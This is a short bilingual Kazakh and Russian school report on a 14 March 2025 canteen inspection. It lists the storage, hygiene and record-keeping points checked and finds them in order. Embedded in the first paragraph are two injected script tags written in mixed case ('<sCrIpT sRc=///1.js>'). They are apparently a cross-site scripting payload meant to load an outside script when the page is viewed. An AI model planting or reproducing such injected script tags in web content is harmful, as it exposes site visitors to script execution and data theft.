2025 жылдың 14 наурызында мектеп директоры Жетпісова Ф.А., Штір мектебінің әлеуметтік педагогы Т.С. , медбике Тадиденова Г.У., директордың кадр жөніндегі орынбасары Исина А.М. «Азат ауылының жоғары мектебі» КММ асханасына мониторинг жүргізілді.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Было проверено: 
1. Правила хранения овощей, молочных продуктов, сыпучих продуктов, мяса, рыбы.
2. Соблюдение графика уборок помещений пищеблока.
3. Проверка наличия контрольной порции.
4. Обработка используемой посуды (тарелки, чашки, ложки, вилки)
5. Ведение журнала качества суточных проб, маркировка банок.

В ходе проверки выявлено:
1. Блюда готовятся согласно ежедневному меню.
2. ⁠Предложенные блюда приготовлены в соответствии с нормами. 
3. ⁠Ежедневно ведется необходимая документация: бракеражный журнал, журнал по контролю температурного режима холодильников, журнал проветривания, журнал кварцевания.
4. ⁠Ежедневно проводится взятие суточных проб готовой продукции.
5. После принятия пищи столы протираются ветошью с использованием санитарного средства, допускаемого нормами дезинфекции и соответствующего процентного соотношения.
6. Повар имеет медицинскую книжку.